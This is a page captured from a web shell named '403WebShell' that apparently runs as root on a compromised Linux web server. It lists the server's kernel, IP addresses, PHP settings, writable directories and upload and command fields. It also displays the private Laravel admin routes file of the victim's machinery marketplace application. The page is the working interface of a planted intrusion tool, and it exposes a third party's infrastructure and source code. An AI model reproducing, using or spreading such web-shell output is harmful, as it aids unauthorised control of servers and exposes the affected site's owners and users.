Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/routes/admin.php
<?php

use App\Http\Controllers\Admin\AdminController;
use App\Http\Controllers\Admin\AdminUserController;
use App\Http\Controllers\Admin\AdvertiseController;
use App\Http\Controllers\Admin\AuthController;
use App\Http\Controllers\Admin\BannersController;
use App\Http\Controllers\Admin\BoostController;
use App\Http\Controllers\Admin\CategoryController;
use App\Http\Controllers\Admin\ClientController;
use App\Http\Controllers\Admin\ContactQueryController;
use App\Http\Controllers\Admin\DashboardController;
use App\Http\Controllers\Admin\FaqsController;
use App\Http\Controllers\Admin\ForgotPasswordController;
use App\Http\Controllers\Admin\JobPostController;
use App\Http\Controllers\Admin\JobSeekerController;
use App\Http\Controllers\Admin\MachineEnquiryController;
use App\Http\Controllers\Admin\MachineModelController;
use App\Http\Controllers\Admin\MachineTypeController;
use App\Http\Controllers\Admin\SubscriptionController;
use App\Http\Controllers\Admin\UsersController;
use App\Http\Controllers\Admin\RoleController;
use App\Http\Controllers\Admin\NotificationController;
use App\Http\Controllers\Admin\ReportsController;
use App\Http\Controllers\WebService\MachineController;
use App\Models\Admin;
use Illuminate\Support\Facades\Route;

Route::post('login', [AuthController::class, 'login']);
Route::post('auth/forget-password', [ForgotPasswordController::class, 'forgetPassword']);
Route::post('auth/resend-otp', [ForgotPasswordController::class, 'forgetPassword']);
Route::post('auth/verify-otp', [ForgotPasswordController::class, 'verifyOTP']);
Route::post('reset/password', [ForgotPasswordController::class, 'resetPassword']);

Route::group(['middleware' => 'auth:sanctum'], function () {
    Route::get('Me', [AuthController::class, 'me']);
    Route::post('profile', [AdminController::class, 'SetProfileInfo']);
    Route::post('profile/upload', [AdminController::class, 'SetProfileImage']);
    Route::post('change/password', [AdminController::class, 'changePassword']);
    Route::get('logout', [AuthController::class, 'Logout']);
    Route::get('menus', [RoleController::class, 'getMenus']);
    Route::get('roles', [RoleController::class, 'getRoles']);
    Route::get('role/{role_id}', [RoleController::class, 'getMenus']);
    Route::post('role', [RoleController::class, 'setRoleAccess']);
    Route::put('role/{role_id}', [RoleController::class, 'setRoleAccess']);
    Route::delete('role/{role_id}', [RoleController::class, 'deleteRole']);
    Route::get('left-menus', [RoleController::class, 'getLeftMenu']);
    Route::get('roles-dd', [RoleController::class, 'GetRolesForDropdown']);

    Route::get("users", [AdminUserController::class, "GetList"]);
    Route::get("user/{uuid}", [AdminUserController::class, "GetInfo"]);
    Route::post("user", [AdminUserController::class, "SetInfo"]);
    Route::put("update-status", [AdminUserController::class, "SetStatus"]);
    Route::put("user/{uuid}", [AdminUserController::class, "SetInfo"]);
    // Route::put("user/password/{uuid}/set", [AdminUserController::class, "SetPasswordReset"]);
    Route::delete("user/{uuid}", [AdminUserController::class, "destroy"]);
    Route::put('block/{id}',[UsersController::class, 'setBlock']);

    //Banners Section
    Route::get('banners', [BannersController::class, 'GetList']);
    Route::get('banners/{banId}', [BannersController::class, 'GetInfo']);
    Route::post('banners', [BannersController::class, 'SetInfo']);
    Route::put('banners/{banId}', [BannersController::class, 'SetInfo']);
    Route::delete('banners/{banId}', [BannersController::class, 'Destroy']);
    Route::post('banners/{banId}/upload', [BannersController::class, 'SetBannerImage']);
    Route::get('list/machine-types', [MachineController::class, 'GetListMachineTypes']);
    //Machine Types
    Route::get('machine/types', [MachineTypeController::class, 'GetList']);
    Route::get('machine/types/{typeId}', [MachineTypeController::class, 'GetInfo']);
    Route::post('machine/types', [MachineTypeController::class, 'SetInfo']);
    Route::put('machine/types/{typeId}', [MachineTypeController::class, 'SetInfo']);
    Route::delete('machine/types/{typeId}', [MachineTypeController::class, 'Destroy']);
    Route::post('machine/types/{typeId}/upload', [MachineTypeController::class, 'SetMachineTypeImage']);

    //Machine Models
    Route::get('machine/models/{typeId}', [MachineModelController::class, 'GetList']);
    Route::get('machine/models/info/{modelId}', [MachineModelController::class, 'GetInfo']);
    Route::post('machine/models', [MachineModelController::class, 'SetInfo']);
    Route::put('machine/models/{modelId}', [MachineModelController::class, 'SetInfo']);
    Route::delete('machine/models/{modelId}', [MachineModelController::class, 'Destroy']);
    Route::post('machine/models/{modelId}/upload', [MachineModelController::class, 'SetMachineModelImage']);
    
    //FAQ
    Route::get('faqs', [FaqsController::class, 'GetList']);
    Route::get('faqs/{faqId}', [FaqsController::class, 'GetInfo']);
    Route::post('faqs', [FaqsController::class, 'SetInfo']);
    Route::put('faqs/{faqId}', [FaqsController::class, 'SetInfo']);
    Route::delete('faqs/{faqId}', [FaqsController::class, 'Destroy']);

    //Machine Enquiry
    Route::get('machine/enquiries', [MachineEnquiryController::class, 'GetList']);
    Route::get('machine/enquiries/{enqId}', [MachineEnquiryController::class, 'GetInfo']);
    Route::delete('machine/enquiries/{enqId}', [MachineEnquiryController::class, 'Destroy']);

    //Contact Queries
    Route::get('queries/{status}', [ContactQueryController::class, 'GetList']);
    Route::get('contact/queries/{enqId}', [ContactQueryController::class, 'GetInfo']);
    Route::put('contact/queries/{enqId}', [ContactQueryController::class, 'SetQueryInfo']);
    Route::put('contact/supports', [ContactQueryController::class, 'SetInfo']);
    Route::get('contact/supports', [ContactQueryController::class, 'GetSupportInfo']);
    Route::delete('contact/queries/{enqId}', [ContactQueryController::class, 'Destroy']);

    //Advertisement
    Route::get('advertises', [AdvertiseController::class, 'GetList']);
    Route::get('advertises/{adId}', [AdvertiseController::class, 'GetInfo']);
    Route::post('advertises', [AdvertiseController::class, 'SetInfo']);
    Route::put('advertises/{adId}', [AdvertiseController::class, 'SetInfo']);
    Route::delete('advertises/{adId}', [AdvertiseController::class, 'Destroy']);
    Route::post('advertises/{adId}/upload', [AdvertiseController::class, 'UploadAdImage']);
    Route::delete('advertises/{adId}/image/{id}', [AdvertiseController::class, 'DeleteAdImage']);
    Route::patch('advertises/{adId}/mark-sold', [AdvertiseController::class, 'SetSoldInfo']);
    Route::patch('advertises/{adId}/republish', [AdvertiseController::class, 'SetRepublishInfo']);
    Route::get('advertises/{type}/{status}', [AdvertiseController::class, 'GetAdByStatus']);
    Route::put('advertises/{adId}/status', [AdvertiseController::class, 'SetStatusInfo']);
    //Posted Jobs
    Route::get('jobs', [JobPostController::class, 'GetList']);
    Route::get('jobs/{jobId}', [JobPostController::class, 'GetInfo']);
    Route::post('jobs', [JobPostController::class, 'SetInfo']);
    Route::put('jobs/{jobId}', [JobPostController::class, 'SetInfo']);
    Route::delete('jobs/{jobId}', [JobPostController::class, 'Destroy']);

    //Users
    Route::get('app/users', [UsersController::class, 'GetList']);
    Route::get('app/users/{userId}', [UsersController::class, 'GetInfo']);
    Route::post('app/users', [UsersController::class, 'SetInfo']);
    Route::put('app/users/{userId}', [UsersController::class, 'SetInfo']);
    Route::delete('app/users/{userId}', [UsersController::class, 'Destroy']);
    Route::get("users-dd", [UsersController::class, "GetUsersList"]);
    Route::put('switch/operator/{id}',[UsersController::class, 'switchOperator']);
    //Subscriptions
    Route::get('subscriptions', [SubscriptionController::class, 'GetList']);
    Route::get('subscriptions/{subId}', [SubscriptionController::class, 'GetInfo']);
    Route::post('subscriptions', [SubscriptionController::class, 'SetInfo']);
    Route::put('subscriptions/{subId}', [SubscriptionController::class, 'SetInfo']);
    Route::delete('subscriptions/{subId}', [SubscriptionController::class, 'Destroy']);

    Route::post('cms', [AdminController::class, 'SetInfo']);
    Route::put('cms/{id}', [AdminController::class, 'SetInfo']);
    Route::get('cms/{id}', [AdminController::class, 'GetInfo']);
    Route::get('cms', [AdminController::class, 'GetList']);

    Route::get("notifications", [NotificationController::class, "GetList"]);
    Route::get("notifications/{id}/history", [NotificationController::class, "GetHistory"]);
    // Route::get('get-notification-access', [NotificationController::class, 'GetNotificationAccess']);
    Route::post("notifications", [NotificationController::class, "SetInfo"]);
    Route::post("notification/{id}/resend", [NotificationController::class, "ResendNotification"]);
    Route::delete("notification/{id}", [NotificationController::class, "Destroy"]);
    Route::post('upload/notification/{id}/image', [NotificationController::class, 'uploadNotificationImage']);
    Route::post('test-notification', [NotificationController::class, 'TestNotification']);

    //Clients Section
    Route::get('clients', [ClientController::class, 'GetList']);
    Route::get('clients/{clientId}', [ClientController::class, 'GetInfo']);
    Route::post('clients', [ClientController::class, 'SetInfo']);
    Route::put('clients/{clientId}', [ClientController::class, 'SetInfo']);
    Route::delete('clients/{clientId}', [ClientController::class, 'Destroy']);
    Route::post('clients/{clientId}/upload', [ClientController::class, 'SetClientImage']);

    Route::get('transactions', [AdminController::class, 'GetTransactions']);

    Route::get('boosts', [BoostController::class, 'GetList']);
    Route::get('boosts/{boostId}', [BoostController::class, 'GetInfo']);
    Route::post('boosts', [BoostController::class, 'SetInfo']);
    Route::put('boosts/{boostId}', [BoostController::class, 'SetInfo']);
    Route::delete('boosts/{boostId}', [BoostController::class, 'Destroy']);

    Route::get('job/seekers', [JobSeekerController::class, 'GetList']);
    Route::get('job/seekers/{subId}', [JobSeekerController::class, 'GetInfo']);
    Route::post('job/seekers', [JobSeekerController::class, 'SetInfo']);
    Route::put('job/seekers/{subId}', [JobSeekerController::class, 'SetInfo']);
    Route::delete('job/seekers/{subId}', [JobSeekerController::class, 'Destroy']);

    Route::get("dashboard", [DashboardController::class, 'GetDashboardInfo']);
    Route::get("dashboard-stat/user", [DashboardController::class, 'GetUserStat']);
    Route::get("dashboard-stat/revenue", [DashboardController::class, 'GetRevenueStat']);
    Route::get('reports/{type}', [ReportsController::class, 'getReports']);
    
    
});



Youez - 2016 - github.com/yon3zu
LinuXploit